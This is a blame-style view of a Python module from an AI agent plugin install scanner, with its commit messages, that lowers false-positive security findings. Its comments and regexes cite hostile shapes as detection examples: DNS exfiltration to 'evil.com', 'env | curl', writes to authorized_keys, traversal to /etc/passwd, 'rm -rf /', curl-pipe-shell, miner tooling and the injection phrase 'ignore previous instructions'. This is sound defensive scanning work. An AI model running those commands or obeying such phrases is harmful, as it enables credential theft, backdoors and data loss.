fix(plugins): install scanner scores inert context as context, not as plugin behaviour A plugin repository is a codebase, and the threat regexes were written for a SKILL.md the agent executes verbatim. The same text in a README uninstall step, a refusal list, a test fixture, a JSON scenery data URI, a redaction regex or a `gh api | base64 -d | grep` dev script was scored as the plugin's own runtime behaviour: crypto-prices (#115353) was hard-blocked by `rm -rf "$HOME/.hermes/plugins/crypto-prices"` in its README, and a dozen catalog pins sat at `caution` on fixtures and prose alone. `tools/plugin_guard_context.py` recognises each class of inert context and only ever lowers a finding; nothing is deleted and every finding stays in the report: - documentation prose (`.md/.txt/.rst/.html`, not `SKILL.md`, `after-install.md` or a bundled `skills/` tree): command/path shapes step down once, so a doc line can never be `dangerous`; the plugin's own-install-dir `rm` is a note. Injection, Markdown exfil, agent-config edits, `curl | sh`, `authorized_keys` and leaked keys keep full severity. - test trees / fixtures (root test dirs, `__tests__`/`__fixtures__` at any depth, `*.test.*`, `test_*.py`): quoted-only hostile strings and key-shaped corpora are notes; test code that executes on import steps down once (caution). - whole-line comments and CHANGELOG.md score as prose. - `encoded_exfil` on base64 whose decoded head is a media magic (PNG/JPEG/WOFF/PDF...) is informational. - `sudo` / `env|` as an alternation member inside a regex or string literal is a note; the same word in a command string is not. - `base64 -d` piped into a text filter is a note; into a shell/interpreter it is not. Bumps PLUGIN_SCANNER_VERSION to v5 so cached verdicts re-evaluate. Closes-blocker-for: #115353
2026-09-19 02:23:36 -07:00
fix(scanner): clear ~15 classes of install-scanner false positives (catalog sweep) The plugin install scanner blocked 53 of 543 catalog pins at `caution` on `plugin-guard-v10`, almost all false positives: a `caution` finding silently stops `plugins update` from following a reviewed catalog pin, so each one is user-blocking. This clears every FP class the full-catalog sweep surfaced at the pattern/context level, each proven with a red-on-base A/B (the benign shape goes safe, the attack twin of the same rule stays caution/dangerous on both trees) and gated by a whole-corpus zero-worse re-sweep: 38 pins move caution->safe, 0 move worse. Fixed (demote-never-delete — findings stay visible, verdict un-blocks): - destructive_home_rm on prose ("the platfoRM rOute to ~/.hermes") — left word boundary on rm/rmdir. - self-uninstall docs: widened to ~/.hermes/profiles/<p>/{plugins,roles}/<x>, desktop-plugins/<x>, ~/.hermes/<name>, multiple operands, and a backtick span. - dump_all_env on JS `env ||`, Python `env | {...}`, the regex tail of `virtualenv|venv`. - curl_pipe_shell for named trusted installers (hermes/ollama/bun/raw install scripts); untrusted domains keep full severity in README, code AND CI. - sudo_usage: advisory `sudo apt install` hints, "never ... sudo" safety text, `sudo.expire` events, the plugin's own command-parser regex; genuine sudo (gbrain, secure-env-ingress) stays flagged. - context_exfil on disclosure prose / a `"context":` JSON field / "share no context"; external-recipient and scoped-conversation exfil still flag. - prompt_injection_ignore on a quoted phrase in a CHANGELOG / code comment that documents the plugin's own filter. - path_traversal_deep on `../../..` repo-root climbs in build scripts (no sensitive leaf); traversal into /etc/passwd, ~/.ssh keeps severity. - /etc/passwd in refusal tests (first-arg vs later-arg exec distinction). - exec_string on an SDK `.exec("tar", ...)` method (not the exec() builtin). - dns_exfil on `dig +short A ${host}` lookups; interpolation into an attacker subdomain still flags. - python_import_os on `__import__("os").environ.get(...)` / `.fsync(...)`. - base64_decode_pipe on a `tar c | base64 | base64 -d | tar x` transport round-trip; an embedded `base64 -d | tar x` payload keeps severity. - agent_config_mod on a localized "Updating AGENTS.md" UI string. - hermes_config_mod / ssh_backdoor as disclosed-behaviour notes in install docs / UI strings (mindgraph, memlock, hermes-ssh); shell writes stay critical. - is_ci_workflow now also covers .gitlab-ci.yml. Bumps PLUGIN_SCANNER_VERSION -> plugin-guard-v11 and SCANNER_VERSION -> skills-guard-v10 (cached verdicts are keyed on these; the bump un-blocks the quarantined packages). Complexity held under the ratchet by extracting `_inert_context_cap`. Scanner test suites green; added benign/attack invariant pairs for each class plus a version-contract test.
2026-10-11 04:09:30 -07:00
# ── (5b) ``sudo`` in advisory text or a safety disclaimer ─────────────────────────────────────
# ``sudo_usage`` fires on the bare word. Two shapes are not privilege escalation: (a) an advisory
# INSTALL/ADMIN HINT the plugin prints/returns — ``return "sudo apt install pass"``, ``"sudo snap
# install bw"``, ``f"sudo systemctl restart …"`` — ``sudo`` immediately followed by a package manager
# or admin tool (apt/snap/dnf/systemctl/…) or a ``sudo`` option, inside a string literal on a line
# that executes nothing; and (b) a SAFETY DISCLAIMER that forbids it — ``Never ask the user for a sudo
# password``, ``no permissions, xattrs, sudo`` — where a negation governs the word. Both land at medium
# (a note), CODE files only. A bare command string (``"please run sudo id"``), a ``["sudo", "id"]`` args
# element, a ``subprocess.run(["sudo", ...])`` call, and a real ``sudo apt-get install`` line in a shell
# script keep full severity (the first two are handled on data files by ``is_json_prose_value``).
_SUDO_TOKEN = re.compile(r"\bsudo\b(?!\.\w)")
_SUDO_ADMIN_HINT = re.compile(
r"\bsudo\s+(?:-[A-Za-z]+\b\s+)*(?:apt|apt-get|snap|dnf|yum|pacman|zypper|apk|brew|port|emerge"
r"|systemctl|service|launchctl|pip[0-9]*|npm|gem|-u\b|-E\b|-H\b|-n\b)", re.IGNORECASE)
# ``(?:sudo\s+)?(?:git|…)`` — ``sudo`` inside a REGEX pattern string (the literal ``\s`` whitespace
# metacharacter marks it as the plugin's OWN command-parser regex, never a real invocation).
_SUDO_IN_REGEX = re.compile(r"\(\?:?\s*sudo\\s", re.IGNORECASE)
_SUDO_NEGATION = re.compile(
r"\b(?:never|not|no|without|don'?t|cannot|can'?t|avoid|refus\w*|forbid\w*|disallow\w*)\b",
re.IGNORECASE)
def _sudo_in_safety_clause(line: str, start: int) -> bool:
"""A negation word governs this ``sudo`` — anywhere earlier in the sentence, or in the
short clause right after it (``no permissions, xattrs, sudo``)."""
before = line[:start]
# restrict to the current sentence/clause so a negation two sentences back does not leak in
clause = re.split(r"[.;]", before)[-1]
return _SUDO_NEGATION.search(clause) is not None
def is_sudo_inert(finding: Finding, line: str, rel_path: str) -> bool:
"""Every ``sudo`` on the line is an advisory install/admin HINT inside a non-executing string
literal, or is governed by a safety negation. A bare ``sudo <cmd>`` command string (``"sudo id"``,
a ``["sudo", "id"]`` args element) is not an admin hint and is not demoted — on JSON data files
those are handled (and kept at severity) by ``is_json_prose_value``."""
if finding.pattern_id != "sudo_usage":
return False
hits = list(_SUDO_TOKEN.finditer(line))
if not hits:
return False
executes = _executes(line, rel_path)
spans = [m.span() for m in _LITERAL_SPANS.finditer(line)]
admin_hint = {m.start() for m in _SUDO_ADMIN_HINT.finditer(line)}
in_regex = _SUDO_IN_REGEX.search(line) is not None
def inert(h: re.Match[str]) -> bool:
in_literal = any(a <= h.start() and h.end() <= b for a, b in spans)
if in_literal and not executes and (h.start() in admin_hint or in_regex):
return True
return _sudo_in_safety_clause(line, h.start())
return all(inert(h) for h in hits)
# ── (5b2) ``env``/``printenv`` in a safety disclaimer ────────────────────────────────────────────
# ``dump_all_env`` fires on ``env |``/``printenv``. A SKILL.md safety rule forbidding it —
# ``**Never inspect the environment.** Do not run `env`, `printenv`, `set` …`` (the official
# nvidia-broadcast skill) — is the opposite of an env dump. When every ``dump_all_env`` hit on the line
# is governed by a safety negation (``never``/``do not``/``no`` …), the finding is a note. A real
# ``env | curl …`` keeps full severity (no negation governs it).
_ENV_DUMP_TOKEN = re.compile(r"printenv|(?<![A-Za-z0-9_])env\s*\|(?!\|)(?!\s*[{(])")
def is_env_dump_in_safety_clause(finding: Finding, line: str) -> bool:
"""Every ``dump_all_env`` hit on the line is governed by a safety negation (a "never/do not" rule)."""
if finding.pattern_id != "dump_all_env":
return False
hits = list(_ENV_DUMP_TOKEN.finditer(line))
return bool(hits) and all(_sudo_in_safety_clause(line, h.start()) for h in hits)
# ── (5c) a documented injection PHRASE that the plugin's own filter refuses ─────────────────────
# A context/memory plugin's CHANGELOG or a ``#``/``//`` code comment names the exact phrase its
# validator rejects (``"ignore previous instructions"``), and a build note shows a role-label example
# in a backtick span (`` `User: ignore previous instructions` ``). Quoted that way, inside a defensive
# doc (comment / CHANGELOG), the phrase is a description of a defense, not an instruction — it caps to a
# note rather than the one-step comment cap. An UNQUOTED injection in a README/SKILL.md prose line, or
# a quoted phrase outside a comment/CHANGELOG, keeps full severity.
_INJECTION_PHRASE_IDS = {"prompt_injection_ignore", "disregard_rules"}
_QUOTED_SPAN = re.compile(r'"[^"\n]*"|\'[^\'\n]*\'|`[^`\n]*`|«[^»\n]*»|“[^”\n]*”|‘[^’\n]*’')
def is_quoted_injection_phrase(finding: Finding, line: str) -> bool:
"""The finding's injection phrase sits entirely inside a quoted/backtick span on the line."""
if finding.pattern_id not in _INJECTION_PHRASE_IDS:
return False
rx = _PATTERN_BY_ID.get(finding.pattern_id)
if rx is None:
return False
spans = [m.span() for m in _QUOTED_SPAN.finditer(line)]
hits = list(rx.finditer(line))
return bool(hits) and all(any(a <= h.start() and h.end() <= b for a, b in spans) for h in hits)
# ── (6) repo-root traversal in a build/setup script ─────────────────────────────────────────────
# ``path_traversal_deep`` (``../../..``) fires on build-script repo-root resolution:
# ``resolve(import.meta.dir, '../../..')``, ``cd "$SCRIPT_DIR/../../.."``, ``.../../../..`` — climbing
# out of a nested package to the repository root. Those ``..`` segments resolve to a known ancestor of
# the plugin, not into a victim's tree. When every ``../../..`` run on the line is followed only by
# more ``..``/path separators or a quote/paren (no SENSITIVE leaf — ``etc``, ``passwd``, ``shadow``,
# ``.ssh``, ``.aws``, ``.env``, ``.hermes``, ``.gnupg``, ``.kube``, ``.docker``, ``.npmrc`` …), the
# finding is a note. A traversal INTO a sensitive path (``../../../etc/passwd``, ``../../../.ssh/id_rsa``)
# keeps full severity.
_TRAVERSAL_RUN = re.compile(r"(?:\.\./)+\.\.")
_SENSITIVE_AFTER_TRAVERSAL = re.compile(
r"(?:/|\\)*(?:etc\b|passwd\b|shadow\b|\.ssh\b|\.aws\b|\.env\b|\.hermes\b|\.gnupg\b|\.kube\b"
r"|\.docker\b|\.netrc\b|\.npmrc\b|\.pypirc\b|\.config\b|proc\b|root\b|home\b|var\b|usr\b|sys\b)",
re.IGNORECASE)
def is_repo_root_traversal(finding: Finding, line: str) -> bool:
"""Every ``../../..`` run on the line climbs to an ancestor dir, with no sensitive leaf after it."""
if finding.pattern_id != "path_traversal_deep":
return False
runs = list(_TRAVERSAL_RUN.finditer(line))
if not runs:
return False
for m in runs:
# skip trailing ``../`` / ``..`` segments, then look at what the path continues into
rest = line[m.end():]
rest = re.sub(r"^(?:/?\.\.)*/?", "", rest)
if _SENSITIVE_AFTER_TRAVERSAL.match(rest):
return False
return True
# ── (6b) a lazy ``__import__("os")`` reading one benign member ───────────────────────────────────
# ``python_import_os`` flags ``__import__("os")`` as obfuscation. A one-off lazy import that reads a
# SINGLE benign os member — ``__import__("os").environ.get("X")`` (env override), ``__import__("os").
# fsync(fd)`` (durable write) — is a readability shortcut, not obfuscated code execution. It caps to a
# note when the attribute immediately after the import is a known read-only member and the line names
# no dangerous os call (``system``/``popen``/``exec*``/``spawn*``/``remove``/``unlink``) and no exec marker.
_IMPORT_OS = re.compile(r'__import__\s*\(\s*["\']os["\']\s*\)\s*\.\s*(\w+)')
_BENIGN_OS_MEMBERS = {
"environ", "getenv", "fsync", "fspath", "path", "sep", "linesep", "name", "getcwd", "getpid",
"getppid", "urandom", "cpu_count", "uname", "stat", "listdir", "scandir", "walk", "access",
"isatty", "get_terminal_size", "devnull", "curdir", "pardir", "extsep", "altsep", "pathsep",
}
_DANGEROUS_OS_ON_LINE = re.compile(
r'\bos\s*\.\s*(?:system|popen|exec\w*|spawn\w*|remove|unlink|rmdir|removedirs)\b'
r'|__import__\s*\(\s*["\']os["\']\s*\)\s*\.\s*(?:system|popen|exec\w*|spawn\w*|remove|unlink|rmdir)\b')
def is_benign_lazy_os_import(finding: Finding, line: str) -> bool:
"""Every ``__import__("os").<attr>`` on the line reads a benign os member, with no dangerous os
call and no exec marker on the line."""
if finding.pattern_id != "python_import_os":
return False
members = [m.group(1) for m in _IMPORT_OS.finditer(line)]
if not members or _DANGEROUS_OS_ON_LINE.search(line) or _EXEC_ON_LINE.search(line):
return False
return all(a in _BENIGN_OS_MEMBERS for a in members)
# ── (6c) a disclosed, scoped config-write NOTE in install docs ───────────────────────────────────
# ``hermes_config_mod`` (the prose-intent tier, ``high``) fires on install docs that transparently state
# the plugin writes its OWN scoped config section — ``after-install.md``: "Write ``memory.provider:
# mindgraph`` to ``~/.hermes/config.yaml``", a README "writes **only** the ``memlock:`` section". A
# README already takes the generic prose cap; ``after-install.md`` is agent-facing and does not, yet a
# disclosed scoped write is a reviewable behaviour, not an attack. The PROSE tier on a doc/after-install
# file caps to a note (medium): the finding stays visible, the verdict is not blocked. The MECHANICAL
# shell-write tier (``hermes_config_mod_shell``, ``>>``/``sed -i``/``tee`` into config.yaml) is never
# demoted here and keeps full severity.
_DISCLOSED_CONFIG_PROSE_IDS = {"hermes_config_mod"}
_AGENT_DOC_NAMES = {"after-install.md"}
def is_disclosed_config_note(finding: Finding, rel_path: str) -> bool:
"""A prose-intent config-mod finding on an install-doc surface (README-like ``.md`` or
``after-install.md``); the mechanical shell-write tier is excluded by pattern id."""
if finding.pattern_id not in _DISCLOSED_CONFIG_PROSE_IDS:
return False
p = Path(rel_path)
return p.suffix.lower() == ".md" or p.name.lower() in _AGENT_DOC_NAMES
# ── (6d) an ``authorized_keys`` MENTION with no write action ──────────────────────────────────────
# ``ssh_backdoor`` fires on the token ``authorized_keys``. A plugin whose disclosed purpose is SSH key
# setup names it in a UI STRING — ``jsx(..., "Add this public key to the remote account's
# authorized_keys")`` — without appending to it: the token sits inside a string literal and no write
# action is on the line. That is a reviewable note. An IMPERATIVE doc instruction (``Append this key to
# authorized_keys.`` in a README, agent-facing prose — not inside a literal) and any real append
# (``echo "$KEY" >> ~/.ssh/authorized_keys``) keep full severity.
_AUTHORIZED_KEYS_WRITE = re.compile(
r">>?|\btee\b|\bcp\b|\bmv\b|\bsed\s+-\w*i|\bcat\b|writeFileSync|appendFileSync|\.(?:write|append)\w*\s*\(",
re.IGNORECASE)
def is_authorized_keys_prose(finding: Finding, line: str, is_doc: bool) -> bool:
"""An ``ssh_backdoor`` (``authorized_keys``) mention where the token sits inside a string literal
(a UI label) and no write/append action is on the line. Agent-facing doc PROSE is not covered:
``is_doc`` is accepted for signature symmetry but an imperative README instruction keeps severity."""
if finding.pattern_id != "ssh_backdoor" or _AUTHORIZED_KEYS_WRITE.search(line):
return False
pos = line.lower().find("authorized_keys")
if pos < 0:
return False
return any(a <= pos and pos + len("authorized_keys") <= b for a, b in
(m.span() for m in _LITERAL_SPANS.finditer(line)))
# ── (7) loopback address with port ───────────────────────────────────────────────────────────
# ``hardcoded_ip_port`` is the "network" family's egress tripwire, yet ``127.0.0.1:12306`` in a
# README, an ``.mcp.json`` or a client default is a LOCAL service the plugin talks to on the same
# machine — nothing leaves the host. When every IP:port on the line is loopback the finding is
# informational; a routable address anywhere on the line keeps the pattern's severity.
_LOOPBACK_IP_PORT = re.compile(r"\b127\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{2,5}")
def is_loopback_only(finding: Finding, line: str) -> bool:
"""Every ``hardcoded_ip_port`` hit on the line is a 127.0.0.0/8 address."""
if finding.pattern_id != "hardcoded_ip_port":
return False
rx = _PATTERN_BY_ID.get(finding.pattern_id)
hits = list(rx.finditer(line)) if rx else []
return bool(hits) and all(_LOOPBACK_IP_PORT.match(line, h.start()) for h in hits)
# ── (8) ``pip install`` as words inside a message string ─────────────────────────────────────
# ``unpinned_pip_install`` describes a dependency the plugin pulls at runtime. In code, the same
# two words inside a quoted literal at a NON-command position — ``"... no pip install is
# needed"``, ``f"(no pip install is suggested)"`` — are prose the plugin shows a user. A literal
# that starts with the command (``"pip install requests"``), or names it after ``python -m`` /
# ``uv`` / ``pipx`` / ``sudo`` / a shell separator, is a command string and never qualifies, nor
# does any line that executes something (``subprocess.run("pip install x", shell=True)``).
_PIP_INSTALL_TOKEN = re.compile(r"pip\s+install\b", re.IGNORECASE)
_PIP_COMMAND_POSITION = re.compile(r"(?:^|[;&|`(]|\b(?:uv|pipx|sudo|python[\d.]*\s+-m))\s*$", re.IGNORECASE)
def is_pip_install_in_prose_literal(finding: Finding, line: str) -> bool:
"""Every ``pip install`` on a code line sits mid-sentence inside a string literal, and the
line executes nothing."""
if finding.pattern_id != "unpinned_pip_install" or _EXEC_ON_LINE.search(line):
return False
spans = [m.span() for m in _LITERAL_SPANS.finditer(line)]
hits = list(_PIP_INSTALL_TOKEN.finditer(line))
2026-10-08 22:52:14 +02:00
def prose(h: re.Match[str]) -> bool:
span = next(((a, b) for a, b in spans if a <= h.start() and h.end() <= b), None)
if span is None:
return False
content_start = next((i for i in range(span[0], span[1]) if line[i] in "\"'`/"), span[0]) + 1
return _PIP_COMMAND_POSITION.search(line[content_start:h.start()]) is None
return bool(hits) and all(prose(h) for h in hits)
fix(plugin-guard): false-positive round (denylist regex literals, localhost curl docs, tone rules, ANSI regex) Four false-positive classes surfaced by today's catalog intake, each demoted only where the text is inert and proven to keep its severity at a command position: - format_filesystem: the filesystem-format binary as an alternation member of a guard plugin's OWN denylist regex literal (perseus-vault authority.py:44) was an un-overridable `dangerous`. Joins the existing alternation-token contract -> high (caution). The same word at a command position (subprocess.run / os.system / mid-pipeline command string) stays critical. - env_exfil_curl/wget: a README health check `curl -H "Bearer $KEY" \` whose loopback URL is on the continuation line (memex8 README.md:166). The pattern already exempts a same-line loopback; re-run it over the logical line and require every http(s) host be loopback -> low. A routable host anywhere on the logical line keeps high (README) / critical (after-install.md). - deception_hide: a skill tone rule quoting the phrase not to say (`Do not tell the user to "be careful with terminal."`, hermes-tenuo SKILL.md:24) no longer matches; unquoted `to ...`, `about`, `that`, `what` concealment instructions still fire at high. - hex_encoded_string: every `\xHH` inside a `[...]` regex character class (`/[\x00-\x1F\x7F]/`, ANSI filters) -> low; a payload outside a class, or beside a class, keeps medium. PLUGIN_SCANNER_VERSION -> plugin-guard-v9 so cached verdicts re-scan. A/B vs origin/main: in-tree sweep 320 entries, 0 worse (3 hex findings medium->low on real control-char regexes); attack probes identical.
2026-09-28 00:01:59 -07:00
# ── (9) ``\xHH`` escapes inside a regex character class ──────────────────────────────────────
# ``hex_encoded_string`` (three ``\xHH`` escapes on one line) describes an obfuscated payload —
# ``eval("\x63\x75\x72\x6c")``. A control-character or ANSI-escape *filter* is written with the
# same escapes as RANGES inside a bracket class: ``/[\x00-\x1F\x7F]/``, ``[\x1b\x9b][[\]()#;?]*``.
# Bytes named inside ``[...]`` are matched, never assembled into a string, so when every escape
# on the line sits inside a character class the finding is informational. One ``\xHH`` outside a
# class (a payload beside a filter) keeps the pattern's severity, and so does a bracket span that
# holds a quote — ``[b"\x01\x00" * 200]`` is a Python LIST of byte strings, not a class.
fix(plugin-guard): false-positive round (denylist regex literals, localhost curl docs, tone rules, ANSI regex) Four false-positive classes surfaced by today's catalog intake, each demoted only where the text is inert and proven to keep its severity at a command position: - format_filesystem: the filesystem-format binary as an alternation member of a guard plugin's OWN denylist regex literal (perseus-vault authority.py:44) was an un-overridable `dangerous`. Joins the existing alternation-token contract -> high (caution). The same word at a command position (subprocess.run / os.system / mid-pipeline command string) stays critical. - env_exfil_curl/wget: a README health check `curl -H "Bearer $KEY" \` whose loopback URL is on the continuation line (memex8 README.md:166). The pattern already exempts a same-line loopback; re-run it over the logical line and require every http(s) host be loopback -> low. A routable host anywhere on the logical line keeps high (README) / critical (after-install.md). - deception_hide: a skill tone rule quoting the phrase not to say (`Do not tell the user to "be careful with terminal."`, hermes-tenuo SKILL.md:24) no longer matches; unquoted `to ...`, `about`, `that`, `what` concealment instructions still fire at high. - hex_encoded_string: every `\xHH` inside a `[...]` regex character class (`/[\x00-\x1F\x7F]/`, ANSI filters) -> low; a payload outside a class, or beside a class, keeps medium. PLUGIN_SCANNER_VERSION -> plugin-guard-v9 so cached verdicts re-scan. A/B vs origin/main: in-tree sweep 320 entries, 0 worse (3 hex findings medium->low on real control-char regexes); attack probes identical.
2026-09-28 00:01:59 -07:00
_HEX_ESCAPE = re.compile(r"\\x[0-9a-fA-F]{2}")
_CHAR_CLASS = re.compile(r"\[(?:[^\]\\\n\"'`]|\\.)*\]")
fix(plugin-guard): false-positive round (denylist regex literals, localhost curl docs, tone rules, ANSI regex) Four false-positive classes surfaced by today's catalog intake, each demoted only where the text is inert and proven to keep its severity at a command position: - format_filesystem: the filesystem-format binary as an alternation member of a guard plugin's OWN denylist regex literal (perseus-vault authority.py:44) was an un-overridable `dangerous`. Joins the existing alternation-token contract -> high (caution). The same word at a command position (subprocess.run / os.system / mid-pipeline command string) stays critical. - env_exfil_curl/wget: a README health check `curl -H "Bearer $KEY" \` whose loopback URL is on the continuation line (memex8 README.md:166). The pattern already exempts a same-line loopback; re-run it over the logical line and require every http(s) host be loopback -> low. A routable host anywhere on the logical line keeps high (README) / critical (after-install.md). - deception_hide: a skill tone rule quoting the phrase not to say (`Do not tell the user to "be careful with terminal."`, hermes-tenuo SKILL.md:24) no longer matches; unquoted `to ...`, `about`, `that`, `what` concealment instructions still fire at high. - hex_encoded_string: every `\xHH` inside a `[...]` regex character class (`/[\x00-\x1F\x7F]/`, ANSI filters) -> low; a payload outside a class, or beside a class, keeps medium. PLUGIN_SCANNER_VERSION -> plugin-guard-v9 so cached verdicts re-scan. A/B vs origin/main: in-tree sweep 320 entries, 0 worse (3 hex findings medium->low on real control-char regexes); attack probes identical.
2026-09-28 00:01:59 -07:00
def is_hex_in_char_class(finding: Finding, line: str) -> bool:
"""Every ``\\xHH`` on the line is inside a ``[...]`` regex character class."""
if finding.pattern_id != "hex_encoded_string":
return False
classes = [m.span() for m in _CHAR_CLASS.finditer(line)]
hits = list(_HEX_ESCAPE.finditer(line))
return bool(hits) and all(any(a <= h.start() and h.end() <= b for a, b in classes) for h in hits)
# ── (10) loopback ``curl``/``wget`` target on a shell continuation line ──────────────────────
# ``env_exfil_curl`` / ``env_exfil_wget`` already exempt a same-line loopback destination
# (``curl -H "Bearer $KEY" http://localhost:8080/health`` produces no finding). A README health
# check writes the same command over two lines with a trailing ``\``, so the scanner sees only
# ``curl -H "Authorization: Bearer $KEY" \`` and the loopback URL never enters the regex. Re-run
# the pattern over the logical line (the finding's line plus its ``\``-continuations): when it no
# longer matches AND every ``http(s)://`` host on the logical line is loopback, the finding is
# informational. A routable host anywhere on the logical line keeps the severity.
_CONTINUATION_PATTERN_IDS = {"env_exfil_curl", "env_exfil_wget"}
_URL_HOST = re.compile(r"https?://(\[[0-9a-fA-F:]+\]|[^\s/:\"'`)\]]+)")
_LOOPBACK_HOSTS = {"localhost", "127.0.0.1", "[::1]"} # the pattern's own same-line exemption
def logical_line(lines: list[str], index: int) -> str:
"""``lines[index]`` joined with the lines a trailing backslash continues onto (max 8)."""
out = [lines[index]]
i = index
while i + 1 < len(lines) and len(out) <= 8 and lines[i].rstrip().endswith("\\"):
i += 1
out.append(lines[i])
return " ".join(part.rstrip().rstrip("\\") for part in out)
def is_loopback_continuation(finding: Finding, line: str, joined: str) -> bool:
"""The line continues with ``\\``, the finding's own pattern stops matching on the logical
line, and every ``http(s)://`` host on it is loopback."""
if finding.pattern_id not in _CONTINUATION_PATTERN_IDS or not line.rstrip().endswith("\\"):
return False
rx = _PATTERN_BY_ID.get(finding.pattern_id)
hosts = [m.group(1).lower() for m in _URL_HOST.finditer(joined)]
return rx is not None and rx.search(joined) is None and bool(hosts) and all(h in _LOOPBACK_HOSTS for h in hosts)
fix(plugin-guard): false-positive round 3 from the 2026-10-01 catalog sweep Seven more mechanisms that scored clean catalog pins as caution/dangerous, each fixed at the pattern or context level (no path exclusions): - crypto_mining: the bare coin name `monero` as a keyword in a connector index / search shortlist (`"monero gateway"`, `... monero multimodal ...`) lands at medium when nothing on the line names miner software, a pool, an algorithm or the act of mining. xmrig / stratum / coinhive / cryptonight, or `monero` beside a pool or "miner", keep full severity. - dns_exfil: `host` is an English noun and an HTTP header. It now needs the exfil shape itself (an interpolation inside a domain name, `host $(whoami).evil.com`) or a shell command position (`; host $x`, `do host $c`). "the connected host (${id})", a JS `host ${status}:` message and nginx `Host $host;` no longer match. dig/nslookup unchanged. - echo_pipe_exec / curl_pipe_shell / wget_pipe_shell: the shared shell alternation is word-bounded, so `| sha256sum -c` is not `| sh`. - exec_string: an upper-case SQL statement (`db.exec('PRAGMA ...')`, BEGIN/COMMIT/ROLLBACK/CREATE/INSERT ...) is a database call. - sudo_usage (and any other high, non-agent-facing finding) mid-sentence in a `"key": "string"` pair or a bare string list element of a .json data file (tips / translation table) takes the README prose cap. Command keys, a string that starts with the command (`"sudo",` in an args array), package.json and critical findings keep severity. - test fixtures: in Python/JS/TS a `$(...)` or backtick INSIDE a string literal is data, so a hostile-input table no longer counts as executing. `os.system(...)`/`exec(...)` outside the literal still do; shell files keep the raw line. - docs self-uninstall: `rm -rf ~/.hermes/plugins/<own name>` (and `${HOME}`) gets the same note as the `$HOME` form; a wider target or the same line in a .sh keeps severity. curl_pipe_shell in a Python hint string is deliberately unchanged: the same literal assigned to a variable is the attack shape, and it is only high (caution) today. SCANNER_VERSION -> skills-guard-v8 (regex changes in the shared table).
2026-10-01 10:22:53 -07:00
# ── (11) prose string values in a JSON data file ────────────────────────────────────────────
# A translation table or tips file (``tips_zh.json``: ``"en": "Bare sudo commands are
# auto-rewritten …"`` and a ``"tips": [ … ]`` list of sentences) is read with ``json.load`` and
# shown to a human. On a ``"key": "value"`` line whose key is a sentence or a plain data name, or a
# bare string list element, a token in the MIDDLE of the string is prose
# and takes the README prose cap for a ``high`` finding (one step down; agent-facing shapes keep
# full severity, and a ``critical`` stays critical — data a plugin's code may still hand to a
# shell can lose a confirm prompt here, never a block). A string
# that starts with the command (``"cleanup": "rm -rf /"``) or names it after a shell separator or
# ``sudo``/``exec`` (``"sudo",`` in an ``args`` array), keys that name something executed
# (``"command"``, ``"postinstall"``, ``"run"``, ``"args"`` …) and ``package.json`` (npm runs its
# ``scripts``) keep the severity.
_JSON_STRING_LINE = re.compile(r'^\s*(?:"(?P<k>(?:[^"\\]|\\.)*)"\s*:\s*)?"(?P<v>(?:[^"\\]|\\.)*)"\s*,?\s*$')
_JSON_COMMAND_KEY = re.compile(r"cmd|command|script|exec|run|shell|install|hook|arg|entry|bin|start|setup", re.IGNORECASE)
_JSON_EXECUTED_FILES = {"package.json"}
_COMMAND_POSITION = re.compile(r"(?:^|[;&|`(]|\$\(|\b(?:sudo|exec|eval|do|then|xargs|bash|sh|-c))\s*$", re.IGNORECASE)
def is_json_prose_value(finding: Finding, rel_path: str, line: str) -> bool:
"""Every hit sits mid-sentence inside the key or value of a ``"key": "string"`` pair (or a bare
string list element) in a ``.json`` data file, under a key that does not name something executed."""
p = Path(rel_path)
if finding.severity != "high" or p.suffix.lower() != ".json" or p.name.lower() in _JSON_EXECUTED_FILES:
return False
m = _JSON_STRING_LINE.match(line)
rx = _PATTERN_BY_ID.get(finding.pattern_id)
if m is None or rx is None:
return False
key = m.group("k")
if key is not None and not re.search(r"\s", key) and _JSON_COMMAND_KEY.search(key):
return False
2026-10-08 22:52:14 +02:00
def prose(h: re.Match[str]) -> bool:
fix(plugin-guard): false-positive round 3 from the 2026-10-01 catalog sweep Seven more mechanisms that scored clean catalog pins as caution/dangerous, each fixed at the pattern or context level (no path exclusions): - crypto_mining: the bare coin name `monero` as a keyword in a connector index / search shortlist (`"monero gateway"`, `... monero multimodal ...`) lands at medium when nothing on the line names miner software, a pool, an algorithm or the act of mining. xmrig / stratum / coinhive / cryptonight, or `monero` beside a pool or "miner", keep full severity. - dns_exfil: `host` is an English noun and an HTTP header. It now needs the exfil shape itself (an interpolation inside a domain name, `host $(whoami).evil.com`) or a shell command position (`; host $x`, `do host $c`). "the connected host (${id})", a JS `host ${status}:` message and nginx `Host $host;` no longer match. dig/nslookup unchanged. - echo_pipe_exec / curl_pipe_shell / wget_pipe_shell: the shared shell alternation is word-bounded, so `| sha256sum -c` is not `| sh`. - exec_string: an upper-case SQL statement (`db.exec('PRAGMA ...')`, BEGIN/COMMIT/ROLLBACK/CREATE/INSERT ...) is a database call. - sudo_usage (and any other high, non-agent-facing finding) mid-sentence in a `"key": "string"` pair or a bare string list element of a .json data file (tips / translation table) takes the README prose cap. Command keys, a string that starts with the command (`"sudo",` in an args array), package.json and critical findings keep severity. - test fixtures: in Python/JS/TS a `$(...)` or backtick INSIDE a string literal is data, so a hostile-input table no longer counts as executing. `os.system(...)`/`exec(...)` outside the literal still do; shell files keep the raw line. - docs self-uninstall: `rm -rf ~/.hermes/plugins/<own name>` (and `${HOME}`) gets the same note as the `$HOME` form; a wider target or the same line in a .sh keeps severity. curl_pipe_shell in a Python hint string is deliberately unchanged: the same literal assigned to a variable is the attack shape, and it is only high (caution) today. SCANNER_VERSION -> skills-guard-v8 (regex changes in the shared table).
2026-10-01 10:22:53 -07:00
part = next((g for g in ("k", "v") if m.start(g) <= h.start() and h.end() <= m.end(g)), None)
return part is not None and _COMMAND_POSITION.search(line[m.start(part):h.start()]) is None
hits = list(rx.finditer(line))
return bool(hits) and all(prose(h) for h in hits)
# ── (12) a coin NAME without any mining machinery ───────────────────────────────────────────
# ``crypto_mining`` keys on miner software and pool protocols (``xmrig``, ``stratum+tcp``,
# ``coinhive``, ``cryptonight``) plus the bare coin name ``monero``. The name alone is a keyword
# in a connector catalog or search index (``"monero gateway"``, ``… monero multimodal …``), not a
# miner: with no miner binary, pool, algorithm or mining verb on the line it lands at medium
# (reported, verdict-neutral). Any of those beside it keeps the pattern's severity.
_MINING_MACHINERY = re.compile(
r"xmrig|stratum|coinhive|cryptonight|randomx|cpuminer|minerd|nicehash|hashrate|donate-level"
